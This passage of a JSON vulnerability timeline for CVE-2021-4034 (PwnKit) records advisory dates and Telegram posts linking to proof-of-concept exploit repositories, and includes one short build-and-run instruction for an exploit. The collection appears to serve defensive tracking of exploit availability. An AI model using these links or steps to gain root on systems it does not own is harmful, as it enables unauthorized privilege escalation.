root\nURL\uff1ahttps://github.com/hackingyseguridad/CVE-2021-4034", "url": "https://t.me/GithubRedTeam/1424"}, {"timestamp": "2022-01-27T14:34:29Z", "date_only": false, "value": "2022-01-27T14:34:29.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/1425", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "8f92265d-27c6-4f41-ae80-f678af7664fb", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aCVE-2021-4034 PoC , polkit < 0.120\nURL\uff1ahttps://github.com/tahaafarooq/poppy", "url": "https://t.me/GithubRedTeam/1425"}, {"timestamp": "2022-01-27T14:51:47Z", "date_only": false, "value": "2022-01-27T14:51:47.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/1426", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "b1dab71d-2d96-4788-9478-ea74b6a8e109", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aProof of Concept for CVE-2021-4034\nURL\uff1ahttps://github.com/DosAmp/pkwned", "url": "https://t.me/GithubRedTeam/1426"}, {"timestamp": "2022-01-27T18:01:53Z", "date_only": false, "value": "2022-01-27T18:01:53.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/1427", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "54d48695-91be-48d6-887f-f52d17f05acb", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aPre-compiled builds for CVE-2021-4034\nURL\uff1ahttps://github.com/c3c/CVE-2021-4034", "url": "https://t.me/GithubRedTeam/1427"}, {"timestamp": "2022-01-27T18:14:54Z", "date_only": false, "value": "2022-01-27T18:14:54.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/1428", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "c7dc4ab9-078a-4cb7-835c-e230eab590be", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aExploit for pkexec (CVE-2021-4034) \nURL\uff1ahttps://github.com/Fato07/Pwnkit-exploit", "url": "https://t.me/GithubRedTeam/1428"}, {"timestamp": "2022-01-27T18:51:06Z", "date_only": false, "value": "2022-01-27T18:51:06.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/CyberSecurityTechnologies/5288", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "27c465ba-bd19-4c1f-a372-476766588f69", "content": "#exploit\nCVE-2021-4034:\nPwnKit: LPE Vulnerability in polkit\u2019s pkexec\nhttps://github.com/berdav/CVE-2021-4034\nhttps://github.com/Ayrx/CVE-2021-4034\nhttps://github.com/arthepsy/CVE-2021-4034\n\n2. CVE-2022-0185:\nLinux Kernel Can Allow Container Escape in Kubernetes\nhttps://github.com/Crusaders-of-Rust/CVE-2022-0185", "url": "https://t.me/CyberSecurityTechnologies/5288"}, {"timestamp": "2022-01-27T19:41:06Z", "date_only": false, "value": "2022-01-27T19:41:06.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/1429", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "fdd80888-0ab7-4d45-8dda-0c259b438225", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aSingle shell script to download and make berdav CVE-2021-4034 polkit exploit and see if your system is affected\nURL\uff1ahttps://github.com/10100programer/CVE-2021-4034-Quick-Check", "url": "https://t.me/GithubRedTeam/1429"}, {"timestamp": "2022-01-27T20:02:41Z", "date_only": false, "value": "2022-01-27T20:02:41.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/1430", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "810849cf-91e0-4798-b875-7b4fb91293b6", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aAn exploit for CVE-2021-4034 aka Pwnkit: Local Privilege Escalation in polkit's pkexec\nURL\uff1ahttps://github.com/whokilleddb/CVE-2021-4034", "url": "https://t.me/GithubRedTeam/1430"}, {"timestamp": "2022-01-27T23:00:00Z", "date_only": false, "value": "2022-01-27T23:00:00.000+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_certbund \u00b7 WID-SEC-W-2022-1483", "record": "WID-SEC-W-2022-1483", "field": "document.tracking.revision_history.2.date"}, {"timestamp": "2022-01-28T00:00:00Z", "date_only": false, "value": "2022-01-28T00:00:00.000Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "cve-2021-4034", "field": "cveMetadata.datePublished"}, {"timestamp": "2022-01-28T00:42:02Z", "date_only": false, "value": "2022-01-28T00:42:02.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/1433", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "06b5dc04-fc86-4a09-8cb7-b1b755f46f72", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aCVE-2021-4034 POC exploit\nURL\uff1ahttps://github.com/PeterGottesman/pwnkit-exploit", "url": "https://t.me/GithubRedTeam/1433"}, {"timestamp": "2022-01-28T04:28:03Z", "date_only": false, "value": "2022-01-28T04:28:03.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/1434", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "b22153a6-4746-4aa4-b2e5-0143986d8ba1", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aExploit for the PwnKit vulnerability, CVE-2021-4034\nURL\uff1ahttps://github.com/jpmcb/pwnkit-go", "url": "https://t.me/GithubRedTeam/1434"}, {"timestamp": "2022-01-28T05:06:11Z", "date_only": false, "value": "2022-01-28T05:06:11.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/1435", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "1576c8f3-5228-4ede-b22f-43912b77f37a", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aCVE-2021-4034 - One line in the terminal for an instant priv esc to boxes that are vulnerable. See usage.\nURL\uff1ahttps://github.com/n3onhacks/CVE-2021-4034-BASH-One-File-Exploit", "url": "https://t.me/GithubRedTeam/1435"}, {"timestamp": "2022-01-28T12:55:39Z", "date_only": false, "value": "2022-01-28T12:55:39.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/1436", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "4b208519-a286-4b26-bc2b-dbe6a4a21c7c", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1avulnerable setup to display an attack chain of log4j CVE-2021-44228 with privilege escalation to root using the polkit exploit CVE-2021-4034\nURL\uff1ahttps://github.com/0xalwayslucky/log4j-polkit-poc", "url": "https://t.me/GithubRedTeam/1436"}, {"timestamp": "2022-01-28T13:08:49Z", "date_only": false, "value": "2022-01-28T13:08:49.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/1438", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "179c957a-5b64-4798-ae8f-aa9a043d7b5f", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aPoC for PwnKit: Local Privilege Escalation Vulnerability in polkit\u2019s pkexec (CVE-2021-4034)\nURL\uff1ahttps://github.com/Pr0f3ssor/CVE-2021-4034", "url": "https://t.me/GithubRedTeam/1438"}, {"timestamp": "2022-01-28T13:43:42Z", "date_only": false, "value": "2022-01-28T13:43:42.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/1439", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "9de9edb7-3e00-462f-829b-d333c4616104", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aCVE-2021-4034\nURL\uff1ahttps://github.com/Sakura-nee/CVE-2021-4034", "url": "https://t.me/GithubRedTeam/1439"}, {"timestamp": "2022-01-28T15:19:08Z", "date_only": false, "value": "2022-01-28T15:19:08.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/1440", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "f9b44ccb-eff8-49f3-8c2c-201be8ec5e01", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1apkexec (Polkit) exploit of Privilege Escalation vulnerability CVE-2021-4034\nURL\uff1ahttps://github.com/Kirill89/CVE-2021-4034", "url": "https://t.me/GithubRedTeam/1440"}, {"timestamp": "2022-01-28T15:36:34Z", "date_only": false, "value": "2022-01-28T15:36:34.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/1441", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "e44c48ff-ad80-438d-8a51-faf1df3fd7d8", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aCVE-2021-4034 Add Root User - Pkexec Local Privilege Escalation\nURL\uff1ahttps://github.com/Rvn0xsy/CVE-2021-4034", "url": "https://t.me/GithubRedTeam/1441"}, {"timestamp": "2022-01-28T15:55:45Z", "date_only": false, "value": "2022-01-28T15:55:45.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/intelexch/7691", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "feef74e1-df8e-4013-adb2-312cd5c99643", "content": "https://github.com/n3onhacks/CVE-2021-4034-BASH-One-File-Exploit", "url": "https://t.me/intelexch/7691"}, {"timestamp": "2022-01-28T16:39:22Z", "date_only": false, "value": "2022-01-28T16:39:22.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/noobhackersyoutube/1669", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "5eb13519-4615-4e96-8753-f9137eaa1603", "content": "CVE-2022-0185 Container Escape PoC: \n\nhttps://github.com/Crusaders-of-Rust/CVE-2022-0185\n\nCVE-2021-4034 Privilege Escalation polkit pkexec PoC:\n\nhttps://github.com/berdav/CVE-2021-4034\n\n#git #exploit", "url": "https://t.me/noobhackersyoutube/1669"}, {"timestamp": "2022-01-28T20:15:00Z", "date_only": false, "value": "2022-01-28T20:15:00Z", "kind": "other", "label": "Nvd published at", "source": "github \u00b7 GHSA-QGR2-XGQV-24X8", "record": "GHSA-QGR2-XGQV-24X8", "field": "database_specific.nvd_published_at"}, {"timestamp": "2022-01-28T20:15:00Z", "date_only": false, "value": "2022-01-28T20:15Z", "kind": "other", "label": "Published Date", "source": "gsd \u00b7 GSD-2021-4034", "record": "GSD-2021-4034", "field": "namespaces.nvd.nist.gov.publishedDate"}, {"timestamp": "2022-01-28T20:15:12.193Z", "date_only": false, "value": "2022-01-28T20:15:12.193", "kind": "milestone", "label": "Published", "source": "fkie_nvd \u00b7 FKIE_CVE-2021-4034", "record": "FKIE_CVE-2021-4034", "field": "published"}, {"timestamp": "2022-01-29T00:00:42Z", "date_only": false, "value": "2022-01-29T00:00:42Z", "kind": "milestone", "label": "Published", "source": "github \u00b7 GHSA-QGR2-XGQV-24X8", "record": "GHSA-QGR2-XGQV-24X8", "field": "published"}, {"timestamp": "2022-01-29T00:38:22Z", "date_only": false, "value": "2022-01-29T00:38:22.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/XMcqRaf1-G5t77NTQ32_vFZdK1A5BAseyCkvasdiz4bmnBfo", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "fa6db683-2ae4-4143-89ca-f397bc3dbb95"}, {"timestamp": "2022-01-29T07:00:11Z", "date_only": false, "value": "2022-01-29T07:00:11.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/1442", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "ab32b52a-0bd1-44f9-84f1-d90cbfd90e90", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1acentos 6.10\u7684rpm\u5305\uff0c\u4fee\u590dCVE-2021-4034 \u6f0f\u6d1e\nURL\uff1ahttps://github.com/sofire/polkit-0.96-CVE-2021-4034", "url": "https://t.me/GithubRedTeam/1442"}, {"timestamp": "2022-01-29T07:33:37Z", "date_only": false, "value": "2022-01-29T07:33:37.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/SecLabNews/11502", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "3672538b-a6a7-4f39-b801-b8b1f3abe797", "content": "\ud83d\udc2712-\u043b\u0435\u0442\u043d\u044f\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Linux \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0434\u043e \u0441\u0443\u043f\u0435\u0440\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\n\n\u041f\u043b\u043e\u0445\u0438\u0435 \u043d\u043e\u0432\u043e\u0441\u0442\u0438 \u0434\u043b\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 Linux \u2013 12-\u043b\u0435\u0442\u043d\u044f\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 Polkit \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0441\u0443\u043f\u0435\u0440\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043d\u0430 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0430\u0445 \u043f\u043e\u0434 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c \u043b\u044e\u0431\u043e\u0433\u043e \u043a\u0440\u0443\u043f\u043d\u043e\u0433\u043e \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u0430 Linux.\n\n\u041f\u0440\u043e\u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0435\u0435 \u043e\u0447\u0435\u043d\u044c \u043f\u0440\u043e\u0441\u0442\u043e, \u0438, \u043f\u043e \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u043c \u043f\u043e\u0434\u0441\u0447\u0435\u0442\u0430\u043c, \u043e\u043d\u0430 \u043d\u0430 100% \u043d\u0430\u0434\u0435\u0436\u043d\u0430. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438, \u0443\u0436\u0435 \u0443\u043a\u0440\u0435\u043f\u0438\u0432\u0448\u0438\u0435\u0441\u044f \u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435, \u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u043e\u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0434\u043b\u044f \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0439 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0438\u043b\u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0441 \u043d\u0430\u0438\u0432\u044b\u0441\u0448\u0438\u043c\u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043f\u043e\u043b\u0443\u0447\u0438\u0432\u0448\u0430\u044f \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435 PwnKit ( CVE-2021-4034 ), \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c, \u0434\u0430\u0436\u0435 \u0435\u0441\u043b\u0438 \u0441\u0430\u043c \u0434\u0435\u043c\u043e\u043d Polkit \u043d\u0435 \u0437\u0430\u043f\u0443\u0449\u0435\u043d.\n\n\u041d\u0430 \u0434\u0430\u043d\u043d\u044b\u0439 \u043c\u043e\u043c\u0435\u043d\u0442 Qualys \u043d\u0435 \u043f\u0443\u0431\u043b\u0438\u043a\u0443\u0435\u0442 PoC-\u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442 \u0438\u0437 \u043e\u043f\u0430\u0441\u0435\u043d\u0438\u0439, \u0447\u0442\u043e \u0438\u043c \u043c\u043e\u0433\u0443\u0442 \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438. \u041e\u0434\u043d\u0430\u043a\u043e, \u043f\u043e \u0438\u0445 \u043c\u043d\u0435\u043d\u0438\u044e, \u0430\u0442\u0430\u043a\u0438 \u0447\u0435\u0440\u0435\u0437 PwnKit \u2013 \u044d\u0442\u043e \u043b\u0438\u0448\u044c \u0432\u043e\u043f\u0440\u043e\u0441 \u0432\u0440\u0435\u043c\u0435\u043d\u0438.\n\nhttps://www.securitylab.ru/news/529181.php", "url": "https://t.me/SecLabNews/11502"}, {"timestamp": "2022-01-29T09:30:36Z", "date_only": false, "value": "2022-01-29T09:30:36.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/1443", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "c2450b5b-6abc-42aa-8ffe-b5a2af52a6b6", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aCheck CVE-2021-4034 vulnerability\nURL\uff1ahttps://github.com/codiobert/pwnkit-scanner", "url": "https://t.me/GithubRedTeam/1443"}, {"timestamp": "2022-01-29T11:21:22Z", "date_only": false, "value": "2022-01-29T11:21:22.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/poxek/625", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "efdc5893-cf35-4634-a80b-4b57dd003ba7", "content": "CVE-2021-4034\nOne Day \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 polkit\n\n\u041f\u0440\u043e\u0441\u0442\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u0435:\nmake\u00a0\n./cve-2021-4034\n\nhttps://github.com/berdav/CVE-2021-4034\n\n@dnevnik_infosec", "url": "https://t.me/poxek/625"}, {"timestamp": "2022-01-29T20:03:10Z", "date_only": false, "value": "2022-01-29T20:03:10.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/1446", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "b0ce0cd1-99dd-4360-8414-02608aa850dc", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aPwnKit - Local Privilege Escalation Vulnerability Discovered in polkit\u2019s pkexec (CVE-2021-4034)\nURL\uff1ahttps://github.com/TW-D/PwnKit-Vulnerability_CVE-2021-4034", "url": "https://t.me/GithubRedTeam/1446"}, {"timestamp": "2022-01-29T22:30:26Z", "date_only": false, "value": "2022-01-29T22:30:26.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/1447", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "b45762f4-8ae7-4cc0-a5ca-76cbd410db98", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aPkexec Local Privilege Escalation Exploite       CVE-2021-4034 \nURL\uff1ahttps://github.com/OxWeb4/CVE-2021-4034-", "url": "https://t.me/GithubRedTeam/1447"}, {"timestamp": "2022-01-30T04:52:52Z", "date_only": false, "value": "2022-01-30T04:52:52.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/1450", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "78c0d180-7e04-48b0-a086-52a43d518bb6", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aPwnKit PoC for Polkit pkexec CVE-2021-4034 \nURL\uff1ahttps://github.com/navisec/CVE-2021-4034-PwnKit", "url": "https://t.me/GithubRedTeam/1450"}, {"timestamp": "2022-01-30T08:00:00Z", "date_only": false, "value": "2022-01-30T08:00:00.000Z", "kind": "other", "label": "Advisory revision", "source": "csaf_microsoft \u00b7 MSRC_CVE-2021-4034", "record": "MSRC_CVE-2021-4034", "field": "document.tracking.revision_history.0.date"}, {"timestamp": "2022-01-30T08:00:00Z", "date_only": false, "value": "2022-01-30T08:00:00.000Z", "kind": "other", "label": "Date", "source": "csaf_microsoft \u00b7 MSRC_CVE-2021-4034", "record": "MSRC_CVE-2021-4034", "field": "vulnerabilities.0.remediations.0.date"}, {"timestamp": "2022-01-30T08:00:00Z", "date_only": false, "value": "2022-01-30T08:00:00.000Z", "kind": "other", "label": "Updated", "source": "csaf_microsoft \u00b7 MSRC_CVE-2021-4034", "record": "MSRC_CVE-2021-4034", "field": "document.tracking.current_release_date"}, {"timestamp": "2022-01-30T10:36:59Z", "date_only": false, "value": "2022-01-30T10:36:59.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/1452", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "b0bf16fb-e808-46ac-953a-6d79e8e5c5ae", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1apwnkit: Local Privilege Escalation in polkit's pkexec (CVE-2021-4034)\nURL\uff1ahttps://github.com/Almorabea/pkexec-exploit", "url": "https://t.me/GithubRedTeam/1452"}, {"timestamp": "2022-01-30T16:10:30Z", "date_only": false, "value": "2022-01-30T16:10:30.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/1453", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "9bf2c1ac-6770-49ba-8f4e-d9876f637fcd", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aGo implementation of the PwnKit Linux Local Privilege Escalation exploit (CVE-2021-4034)\nURL\uff1ahttps://github.com/OXDBXKXO/go-PwnKit", "url": "https://t.me/GithubRedTeam/1453"}, {"timestamp": "2022-01-30T19:25:31Z", "date_only": false, "value": "2022-01-30T19:25:31.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/VhzYQMHwSU7mGtOQ1RUgux6T8qmhegj2FbJX4InosYYiZw", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "59365162-6fdd-4c83-8508-78ca964f3f86"}, {"timestamp": "2022-01-30T23:00:00Z", "date_only": false, "value": "2022-01-30T23:00:00.000+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_certbund \u00b7 WID-SEC-W-2022-1483", "record": "WID-SEC-W-2022-1483", "field": "document.tracking.revision_history.3.date"}, {"timestamp": "2022-01-31T08:45:40Z", "date_only": false, "value": "2022-01-31T08:45:40.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/1454", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "27ba53a5-3283-414e-9021-c2bbd98d6c4e", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aCVE-2021-4034\nURL\uff1ahttps://github.com/xuntitled/Polkit-pkexec-exploit-for-Linux", "url": "https://t.me/GithubRedTeam/1454"}, {"timestamp": "2022-01-31T16:00:00Z", "date_only": false, "value": "2022-01-31T16:00:00.000Z", "kind": "other", "label": "Discovery date", "source": "csaf_sick \u00b7 SCA-2022-0002", "record": "SCA-2022-0002", "field": "vulnerabilities.0.discovery_date"}, {"timestamp": "2022-02-01T12:16:11Z", "date_only": false, "value": "2022-02-01T12:16:11.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/1462", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "c110d612-cc5a-40cf-a98d-30d260f3b85d", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aPwnkit CVE-2021-4034\nURL\uff1ahttps://github.com/scent2d/PoC-CVE-2021-4034", "url": "https://t.me/GithubRedTeam/1462"}, {"timestamp": "2022-02-01T23:00:00Z", "date_only": false, "value": "2022-02-01T23:00:00.000+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_certbund \u00b7 WID-SEC-W-2022-1483", "record": "WID-SEC-W-2022-1483", "field": "document.tracking.revision_history.4.date"}, {"timestamp": "2022-02-02T00:46:57Z", "date_only": false, "value": "2022-02-02T00:46:57.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/YThhENXyfL9N5zILxL4YkwkohoZV8jH95dLJU3RWBNEcxT64", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "3c6f53e4-a276-4ca9-a2e1-a42c536ea28d"}, {"timestamp": "2022-02-02T23:00:00Z", "date_only": false, "value": "2022-02-02T23:00:00.000+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_certbund \u00b7 WID-SEC-W-2022-1483", "record": "WID-SEC-W-2022-1483", "field": "document.tracking.revision_history.5.date"}, {"timestamp": "2022-02-03T19:07:29Z", "date_only": false, "value": "2022-02-03T19:07:29.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/1472", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "2055bf23-d912-4695-96f3-2a7871523696", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aa python script that downloads neofetch and traitor and attempts to exploit CVE-2021-4034\nURL\uff1ahttps://github.com/Ph4nt0mh4x0r/auto-CVE-2021-4034", "url": "https://t.me/GithubRedTeam/1472"}, {"timestamp": "2022-02-04T07:06:04Z", "date_only": false, "value": "2022-02-04T07:06:04.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/1473", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "b1589035-cbc9-41ad-bf44-e443a9ab20be", "content": 